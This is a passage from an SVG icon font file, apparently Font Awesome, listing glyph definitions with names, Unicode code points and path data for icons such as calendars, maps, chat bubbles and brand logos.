h-178q212 210 196 565l-469 -101q-2 -45 -12 -82t-31 -72t-59.5 -59.5t-93.5 -36.5q-123 -26 -199 40q-32 27 -53 61t-51.5 129t-64.5 258q-35 163 -45.5 263t-5.5 139t23 77q20 41 62.5 73t102.5 45q45 12 83.5 6.5t67 -17t54 -35t43 -48t34.5 -56.5l468 100
q-68 175 -180 287z" />
    <glyph glyph-name="_584" unicode="&#xf26e;" 
d="M1401 -11l-6 -6q-113 -113 -259 -175q-154 -64 -317 -64q-165 0 -317 64q-148 63 -259 175q-113 112 -175 258q-42 103 -54 189q-4 28 48 36q51 8 56 -20q1 -1 1 -4q18 -90 46 -159q50 -124 152 -226q98 -98 226 -152q132 -56 276 -56q143 0 276 56q128 55 225 152l6 6
q10 10 25 6q12 -3 33 -22q36 -37 17 -58zM929 604l-66 -66l63 -63q21 -21 -7 -49q-17 -17 -32 -17q-10 0 -19 10l-62 61l-66 -66q-5 -5 -15 -5q-15 0 -31 16l-2 2q-18 15 -18 29q0 7 8 17l66 65l-66 66q-16 16 14 45q18 18 31 18q6 0 13 -5l65 -66l65 65q18 17 48 -13
q27 -27 11 -44zM1400 547q0 -118 -46 -228q-45 -105 -126 -186q-80 -80 -187 -126t-228 -46t-228 46t-187 126q-82 82 -125 186q-15 33 -15 40h-1q-9 27 43 44q50 16 60 -12q37 -99 97 -167h1v339v2q3 136 102 232q105 103 253 103q147 0 251 -103t104 -249
q0 -147 -104.5 -251t-250.5 -104q-58 0 -112 16q-28 11 -13 61q16 51 44 43l14 -3q14 -3 33 -6t30 -3q104 0 176 71.5t72 174.5q0 101 -72 171q-71 71 -175 71q-107 0 -178 -80q-64 -72 -64 -160v-413q110 -67 242 -67q96 0 185 36.5t156 103.5t103.5 155t36.5 183
q0 198 -141 339q-140 140 -339 140q-200 0 -340 -140q-53 -53 -77 -87l-2 -2q-8 -11 -13 -15.5t-21.5 -9.5t-38.5 3q-21 5 -36.5 16.5t-15.5 26.5v680q0 15 10.5 26.5t27.5 11.5h877q30 0 30 -55t-30 -55h-811v-483h1q40 42 102 84t108 61q109 46 231 46q121 0 228 -46
t187 -126q81 -81 126 -186q46 -112 46 -229zM1369 1128q9 -8 9 -18t-5.5 -18t-16.5 -21q-26 -26 -39 -26q-9 0 -16 7q-106 91 -207 133q-128 56 -276 56q-133 0 -262 -49q-27 -10 -45 37q-9 25 -8 38q3 16 16 20q130 57 299 57q164 0 316 -64q137 -58 235 -152z" />
    <glyph glyph-name="_585" unicode="&#xf270;" horiz-adv-x="1792" 
d="M1551 60q15 6 26 3t11 -17.5t-15 -33.5q-13 -16 -44 -43.5t-95.5 -68t-141 -74t-188 -58t-229.5 -24.5q-119 0 -238 31t-209 76.5t-172.5 104t-132.5 105t-84 87.5q-8 9 -10 16.5t1 12t8 7t11.5 2t11.5 -4.5q192 -117 300 -166q389 -176 799 -90q190 40 391 135z
M1758 175q11 -16 2.5 -69.5t-28.5 -102.5q-34 -83 -85 -124q-17 -14 -26 -9t0 24q21 45 44.5 121.5t6.5 98.5q-5 7 -15.5 11.5t-27 6t-29.5 2.5t-35 0t-31.5 -2t-31 -3t-22.5 -2q-6 -1 -13 -1.5t-11 -1t-8.5 -1t-7 -0.5h-5.5h-4.5t-3 0.5t-2 1.5l-1.5 3q-6 16 47 40t103 30
q46 7 108 1t76 -24zM1364 618q0 -31 13.5 -64t32 -58t37.5 -46t33 -32l13 -11l-227 -224q-40 37 -79 75.5t-58 58.5l-19 20q-11 11 -25 33q-38 -59 -97.5 -102.5t-127.5 -63.5t-140 -23t-137.5 21t-117.5 65.5t-83 113t-31 162.5q0 84 28 154t72 116.5t106.5 83t122.5 57
t130 34.5t119.5 18.5t99.5 6.5v127q0 65 -21 97q-34 53 -121 53q-6 0 -16.5 -1t-40.5 -12t-56 -29.5t-56 -59.5t-48 -96l-294 27q0 60 22 119t67 113t108 95t151.5 65.5t190.5 24.5q100 0 181 -25t129.5 -61.5t81 -83t45 -86t12.5 -73.5v-589zM692 597q0 -86 70 -133
q66 -44 139 -22q84 25 114 123q14 45 14 101v162q-59 -2 -111 -12t-106.5 -33.5t-87 -71t-32.5 -114.5z" />
    <glyph glyph-name="_586" unicode="&#xf271;" horiz-adv-x="1792" 
d="M1536 1280q52 0 90 -38t38 -90v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128zM1152 1376v-288q0 -14 9 -23t23 -9
h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 1376v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM1536 -128v1024h-1408v-1024h1408zM896 448h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224
v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224z" />
    <glyph glyph-name="_587" unicode="&#xf272;" horiz-adv-x="1792" 
d="M1152 416v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23
t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_588" unicode="&#xf273;" horiz-adv-x="1792" 
d="M1111 151l-46 -46q-9 -9 -22 -9t-23 9l-188 189l-188 -189q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22t9 23l189 188l-189 188q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l188 -188l188 188q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23l-188 -188l188 -188q9 -10 9 -23t-9 -22z
M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_589" unicode="&#xf274;" horiz-adv-x="1792" 
d="M1303 572l-512 -512q-10 -9 -23 -9t-23 9l-288 288q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l220 -220l444 444q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23
t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_590" unicode="&#xf275;" horiz-adv-x="1792" 
d="M448 1536q26 0 45 -19t19 -45v-891l536 429q17 14 40 14q26 0 45 -19t19 -45v-379l536 429q17 14 40 14q26 0 45 -19t19 -45v-1152q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h384z" />
    <glyph glyph-name="_591" unicode="&#xf276;" horiz-adv-x="1024" 
d="M512 448q66 0 128 15v-655q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v655q62 -15 128 -15zM512 1536q212 0 362 -150t150 -362t-150 -362t-362 -150t-362 150t-150 362t150 362t362 150zM512 1312q14 0 23 9t9 23t-9 23t-23 9q-146 0 -249 -103t-103 -249
q0 -14 9 -23t23 -9t23 9t9 23q0 119 84.5 203.5t203.5 84.5z" />
    <glyph glyph-name="_592" unicode="&#xf277;" horiz-adv-x="1792" 
d="M1745 1239q10 -10 10 -23t-10 -23l-141 -141q-28 -28 -68 -28h-1344q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h576v64q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-64h512q40 0 68 -28zM768 320h256v-512q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v512zM1600 768
q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-1344q-40 0 -68 28l-141 141q-10 10 -10 23t10 23l141 141q28 28 68 28h512v192h256v-192h576z" />
    <glyph glyph-name="_593" unicode="&#xf278;" horiz-adv-x="2048" 
d="M2020 1525q28 -20 28 -53v-1408q0 -20 -11 -36t-29 -23l-640 -256q-24 -11 -48 0l-616 246l-616 -246q-10 -5 -24 -5q-19 0 -36 11q-28 20 -28 53v1408q0 20 11 36t29 23l640 256q24 11 48 0l616 -246l616 246q32 13 60 -6zM736 1390v-1270l576 -230v1270zM128 1173
v-1270l544 217v1270zM1920 107v1270l-544 -217v-1270z" />
    <glyph glyph-name="_594" unicode="&#xf279;" horiz-adv-x="1792" 
d="M512 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472q0 20 17 28l480 256q7 4 15 4zM1760 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472
q0 20 17 28l480 256q7 4 15 4zM640 1536q8 0 14 -3l512 -256q18 -10 18 -29v-1472q0 -13 -9.5 -22.5t-22.5 -9.5q-8 0 -14 3l-512 256q-18 10 -18 29v1472q0 13 9.5 22.5t22.5 9.5z" />
    <glyph glyph-name="_595" unicode="&#xf27a;" horiz-adv-x="1792" 
d="M640 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 640q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-110 0 -211 18q-173 -173 -435 -229q-52 -10 -86 -13q-12 -1 -22 6t-13 18q-4 15 20 37q5 5 23.5 21.5t25.5 23.5t23.5 25.5t24 31.5t20.5 37
t20 48t14.5 57.5t12.5 72.5q-146 90 -229.5 216.5t-83.5 269.5q0 174 120 321.5t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="_596" unicode="&#xf27b;" horiz-adv-x="1792" 
d="M640 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5
t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51
t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 130 71 248.5t191 204.5t286 136.5t348 50.5t348 -50.5t286 -136.5t191 -204.5t71 -248.5z" />
    <glyph glyph-name="_597" unicode="&#xf27c;" horiz-adv-x="1024" 
d="M512 345l512 295v-591l-512 -296v592zM0 640v-591l512 296zM512 1527v-591l-512 -296v591zM512 936l512 295v-591z" />
    <glyph glyph-name="_598" unicode="&#xf27d;" horiz-adv-x="1792" 
d="M1709 1018q-10 -236 -332 -651q-333 -431 -562 -431q-142 0 -240 263q-44 160 -132 482q-72 262 -157 262q-18 0 -127 -76l-77 98q24 21 108 96.5t130 115.5q156 138 241 146q95 9 153 -55.5t81 -203.5q44 -287 66 -373q55 -249 120 -249q51 0 154 161q101 161 109 246
q13 139 -109 139q-57 0 -121 -26q120 393 459 382q251 -8 236 -326z" />
    <glyph glyph-name="f27e" unicode="&#xf27e;" 
d="M0 1408h1536v-1536h-1536v1536zM1085 293l-221 631l221 297h-634l221 -297l-221 -631l317 -304z" />
    <glyph glyph-name="uniF280" unicode="&#xf280;" 
d="M0 1408h1536v-1536h-1536v1536zM908 1088l-12 -33l75 -83l-31 -114l25 -25l107 57l107 -57l25 25l-31 114l75 83l-12 33h-95l-53 96h-32l-53 -96h-95zM641 925q32 0 44.5 -16t11.5 -63l174 21q0 55 -17.5 92.5t-50.5 56t-69 25.5t-85 7q-133 0 -199 -57.5t-66 -182.5v-72
h-96v-128h76q20 0 20 -8v-382q0 -14 -5 -20t-18 -7l-73 -7v-88h448v86l-149 14q-6 1 -8.5 1.5t-3.5 2.5t-0.5 4t1 7t0.5 10v387h191l38 128h-231q-6 0 -2 6t4 9v80q0 27 1.5 40.5t7.5 28t19.5 20t36.5 5.5zM1248 96v86l-54 9q-7 1 -9.5 2.5t-2.5 3t1 7.5t1 12v520h-275
l-23 -101l83 -22q23 -7 23 -27v-370q0 -14 -6 -18.5t-20 -6.5l-70 -9v-86h352z" />
    <glyph glyph-name="uniF281" unicode="&#xf281;" horiz-adv-x="1792" 
d="M1792 690q0 -58 -29.5 -105.5t-79.5 -72.5q12 -46 12 -96q0 -155 -106.5 -287t-290.5 -208.5t-400 -76.5t-399.5 76.5t-290 208.5t-106.5 287q0 47 11 94q-51 25 -82 73.5t-31 106.5q0 82 58 140.5t141 58.5q85 0 145 -63q218 152 515 162l116 521q3 13 15 21t26 5
l369 -81q18 37 54 59.5t79 22.5q62 0 106 -43.5t44 -105.5t-44 -106t-106 -44t-105.5 43.5t-43.5 105.5l-334 74l-104 -472q300 -9 519 -160q58 61 143 61q83 0 141 -58.5t58 -140.5zM418 491q0 -62 43.5 -106t105.5 -44t106 44t44 106t-44 105.5t-106 43.5q-61 0 -105 -44
t-44 -105zM1228 136q11 11 11 26t-11 26q-10 10 -25 10t-26 -10q-41 -42 -121 -62t-160 -20t-160 20t-121 62q-11 10 -26 10t-25 -10q-11 -10 -11 -25.5t11 -26.5q43 -43 118.5 -68t122.5 -29.5t91 -4.5t91 4.5t122.5 29.5t118.5 68zM1225 341q62 0 105.5 44t43.5 106
q0 61 -44 105t-105 44q-62 0 -106 -43.5t-44 -105.5t44 -106t106 -44z" />
    <glyph glyph-name="_602" unicode="&#xf282;" horiz-adv-x="1792" 
d="M69 741h1q16 126 58.5 241.5t115 217t167.5 176t223.5 117.5t276.5 43q231 0 414 -105.5t294 -303.5q104 -187 104 -442v-188h-1125q1 -111 53.5 -192.5t136.5 -122.5t189.5 -57t213 -3t208 46.5t173.5 84.5v-377q-92 -55 -229.5 -92t-312.5 -38t-316 53
q-189 73 -311.5 249t-124.5 372q-3 242 111 412t325 268q-48 -60 -78 -125.5t-46 -159.5h635q8 77 -8 140t-47 101.5t-70.5 66.5t-80.5 41t-75 20.5t-56 8.5l-22 1q-135 -5 -259.5 -44.5t-223.5 -104.5t-176 -140.5t-138 -163.5z" />
    <glyph glyph-name="_603" unicode="&#xf283;" horiz-adv-x="2304" 
d="M0 32v608h2304v-608q0 -66 -47 -113t-113 -47h-1984q-66 0 -113 47t-47 113zM640 256v-128h384v128h-384zM256 256v-128h256v128h-256zM2144 1408q66 0 113 -47t47 -113v-224h-2304v224q0 66 47 113t113 47h1984z" />
    <glyph glyph-name="_604" unicode="&#xf284;" horiz-adv-x="1792" 
d="M1584 246l-218 111q-74 -120 -196.5 -189t-263.5 -69q-147 0 -271 72t-196 196t-72 270q0 110 42.5 209.5t115 172t172 115t209.5 42.5q131 0 247.5 -60.5t192.5 -168.5l215 125q-110 169 -286.5 265t-378.5 96q-161 0 -308 -63t-253 -169t-169 -253t-63 -308t63 -308
t169 -253t253 -169t308 -63q213 0 397.5 107t290.5 292zM1030 643l693 -352q-116 -253 -334.5 -400t-492.5 -147q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71q260 0 470.5 -133.5t335.5 -366.5zM1543 640h-39v-160h-96v352h136q32 0 54.5 -20
t28.5 -48t1 -56t-27.5 -48t-57.5 -20z" />
    <glyph glyph-name="uniF285" unicode="&#xf285;" horiz-adv-x="1792" 
d="M1427 827l-614 386l92 151h855zM405 562l-184 116v858l1183 -743zM1424 697l147 -95v-858l-532 335zM1387 718l-500 -802h-855l356 571z" />
    <glyph glyph-name="uniF286" unicode="&#xf286;" horiz-adv-x="1792" 
d="M640 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1152 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1664 496v-752h-640v320q0 80 -56 136t-136 56t-136 -56t-56 -136v-320h-640v752q0 16 16 16h96
q16 0 16 -16v-112h128v624q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 6 2.5 9.5t8.5 5t9.5 2t11.5 0t9 -0.5v391q-32 15 -32 50q0 23 16.5 39t38.5 16t38.5 -16t16.5 -39q0 -35 -32 -50v-17q45 10 83 10q21 0 59.5 -7.5t54.5 -7.5
q17 0 47 7.5t37 7.5q16 0 16 -16v-210q0 -15 -35 -21.5t-62 -6.5q-18 0 -54.5 7.5t-55.5 7.5q-40 0 -90 -12v-133q1 0 9 0.5t11.5 0t9.5 -2t8.5 -5t2.5 -9.5v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-624h128v112q0 16 16 16h96
q16 0 16 -16z" />
    <glyph glyph-name="_607" unicode="&#xf287;" horiz-adv-x="2304" 
d="M2288 731q16 -8 16 -27t-16 -27l-320 -192q-8 -5 -16 -5q-9 0 -16 4q-16 10 -16 28v128h-858q37 -58 83 -165q16 -37 24.5 -55t24 -49t27 -47t27 -34t31.5 -26t33 -8h96v96q0 14 9 23t23 9h320q14 0 23 -9t9 -23v-320q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v96h-96
q-32 0 -61 10t-51 23.5t-45 40.5t-37 46t-33.5 57t-28.5 57.5t-28 60.5q-23 53 -37 81.5t-36 65t-44.5 53.5t-46.5 17h-360q-22 -84 -91 -138t-157 -54q-106 0 -181 75t-75 181t75 181t181 75q88 0 157 -54t91 -138h104q24 0 46.5 17t44.5 53.5t36 65t37 81.5q19 41 28 60.5
t28.5 57.5t33.5 57t37 46t45 40.5t51 23.5t61 10h107q21 57 70 92.5t111 35.5q80 0 136 -56t56 -136t-56 -136t-136 -56q-62 0 -111 35.5t-70 92.5h-107q-17 0 -33 -8t-31.5 -26t-27 -34t-27 -47t-24 -49t-24.5 -55q-46 -107 -83 -165h1114v128q0 18 16 28t32 -1z" />
    <glyph glyph-name="_608" unicode="&#xf288;" horiz-adv-x="1792" 
d="M1150 774q0 -56 -39.5 -95t-95.5 -39h-253v269h253q56 0 95.5 -39.5t39.5 -95.5zM1329 774q0 130 -91.5 222t-222.5 92h-433v-896h180v269h253q130 0 222 91.5t92 221.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348
t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_609" unicode="&#xf289;" horiz-adv-x="2304" 
d="M1645 438q0 59 -34 106.5t-87 68.5q-7 -45 -23 -92q-7 -24 -27.5 -38t-44.5 -14q-12 0 -24 3q-31 10 -45 38.5t-4 58.5q23 71 23 143q0 123 -61 227.5t-166 165.5t-228 61q-134 0 -247 -73t-167 -194q108 -28 188 -106q22 -23 22 -55t-22 -54t-54 -22t-55 22
q-75 75 -180 75q-106 0 -181 -74.5t-75 -180.5t75 -180.5t181 -74.5h1046q79 0 134.5 55.5t55.5 133.5zM1798 438q0 -142 -100.5 -242t-242.5 -100h-1046q-169 0 -289 119.5t-120 288.5q0 153 100 267t249 136q62 184 221 298t354 114q235 0 408.5 -158.5t196.5 -389.5
q116 -25 192.5 -118.5t76.5 -214.5zM2048 438q0 -175 -97 -319q-23 -33 -64 -33q-24 0 -43 13q-26 17 -32 48.5t12 57.5q71 104 71 233t-71 233q-18 26 -12 57t32 49t57.5 11.5t49.5 -32.5q97 -142 97 -318zM2304 438q0 -244 -134 -443q-23 -34 -64 -34q-23 0 -42 13
q-26 18 -32.5 49t11.5 57q108 164 108 358q0 195 -108 357q-18 26 -11.5 57.5t32.5 48.5q26 18 57 12t49 -33q134 -198 134 -442z" />
    <glyph glyph-name="_610" unicode="&#xf28a;" 
d="M1500 -13q0 -89 -63 -152.5t-153 -63.5t-153.5 63.5t-63.5 152.5q0 90 63.5 153.5t153.5 63.5t153 -63.5t63 -153.5zM1267 268q-115 -15 -192.5 -102.5t-77.5 -205.5q0 -74 33 -138q-146 -78 -379 -78q-109 0 -201 21t-153.5 54.5t-110.5 76.5t-76 85t-44.5 83
t-23.5 66.5t-6 39.5q0 19 4.5 42.5t18.5 56t36.5 58t64 43.5t94.5 18t94 -17.5t63 -41t35.5 -53t17.5 -49t4 -33.5q0 -34 -23 -81q28 -27 82 -42t93 -17l40 -1q115 0 190 51t75 133q0 26 -9 48.5t-31.5 44.5t-49.5 41t-74 44t-93.5 47.5t-119.5 56.5q-28 13 -43 20
q-116 55 -187 100t-122.5 102t-72 125.5t-20.5 162.5q0 78 20.5 150t66 137.5t112.5 114t166.5 77t221.5 28.5q120 0 220 -26t164.5 -67t109.5 -94t64 -105.5t19 -103.5q0 -46 -15 -82.5t-36.5 -58t-48.5 -36t-49 -19.5t-39 -5h-8h-32t-39 5t-44 14t-41 28t-37 46t-24 70.5
t-10 97.5q-15 16 -59 25.5t-81 10.5l-37 1q-68 0 -117.5 -31t-70.5 -70t-21 -76q0 -24 5 -43t24 -46t53 -51t97 -53.5t150 -58.5q76 -25 138.5 -53.5t109 -55.5t83 -59t60.5 -59.5t41 -62.5t26.5 -62t14.5 -63.5t6 -62t1 -62.5z" />
    <glyph glyph-name="_611" unicode="&#xf28b;" 
d="M704 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1152 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103
t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_612" unicode="&#xf28c;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM864 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192z" />
    <glyph glyph-name="_613" unicode="&#xf28d;" 
d="M1088 352v576q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="_614" unicode="&#xf28e;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h576q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-576z" />
    <glyph glyph-name="_615" unicode="&#xf290;" horiz-adv-x="1792" 
d="M1757 128l35 -313q3 -28 -16 -50q-19 -21 -48 -21h-1664q-29 0 -48 21q-19 22 -16 50l35 313h1722zM1664 967l86 -775h-1708l86 775q3 24 21 40.5t43 16.5h256v-128q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5v128h384v-128q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5v128h256q25 0 43 -16.5t21 -40.5zM1280 1152v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_616" unicode="&#xf291;" horiz-adv-x="2048" 
d="M1920 768q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-15l-115 -662q-8 -46 -44 -76t-82 -30h-1280q-46 0 -82 30t-44 76l-115 662h-15q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5h1792zM485 -32q26 2 43.5 22.5t15.5 46.5l-32 416q-2 26 -22.5 43.5
t-46.5 15.5t-43.5 -22.5t-15.5 -46.5l32 -416q2 -25 20.5 -42t43.5 -17h5zM896 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1280 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1632 27l32 416
q2 26 -15.5 46.5t-43.5 22.5t-46.5 -15.5t-22.5 -43.5l-32 -416q-2 -26 15.5 -46.5t43.5 -22.5h5q25 0 43.5 17t20.5 42zM476 1244l-93 -412h-132l101 441q19 88 89 143.5t160 55.5h167q0 26 19 45t45 19h384q26 0 45 -19t19 -45h167q90 0 160 -55.5t89 -143.5l101 -441
h-132l-93 412q-11 44 -45.5 72t-79.5 28h-167q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45h-167q-45 0 -79.5 -28t-45.5 -72z" />
    <glyph glyph-name="_617" unicode="&#xf292;" horiz-adv-x="1792" 
d="M991 512l64 256h-254l-64 -256h254zM1759 1016l-56 -224q-7 -24 -31 -24h-327l-64 -256h311q15 0 25 -12q10 -14 6 -28l-56 -224q-5 -24 -31 -24h-327l-81 -328q-7 -24 -31 -24h-224q-16 0 -26 12q-9 12 -6 28l78 312h-254l-81 -328q-7 -24 -31 -24h-225q-15 0 -25 12
q-9 12 -6 28l78 312h-311q-15 0 -25 12q-9 12 -6 28l56 224q7 24 31 24h327l64 256h-311q-15 0 -25 12q-10 14 -6 28l56 224q5 24 31 24h327l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h254l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h311
q15 0 25 -12q9 -12 6 -28z" />
    <glyph glyph-name="_618" unicode="&#xf293;" 
d="M841 483l148 -148l-149 -149zM840 1094l149 -149l-148 -148zM710 -130l464 464l-306 306l306 306l-464 464v-611l-255 255l-93 -93l320 -321l-320 -321l93 -93l255 255v-611zM1429 640q0 -209 -32 -365.5t-87.5 -257t-140.5 -162.5t-181.5 -86.5t-219.5 -24.5
t-219.5 24.5t-181.5 86.5t-140.5 162.5t-87.5 257t-32 365.5t32 365.5t87.5 257t140.5 162.5t181.5 86.5t219.5 24.5t219.5 -24.5t181.5 -86.5t140.5 -162.5t87.5 -257t32 -365.5z" />
    <glyph glyph-name="_619" unicode="&#xf294;" horiz-adv-x="1024" 
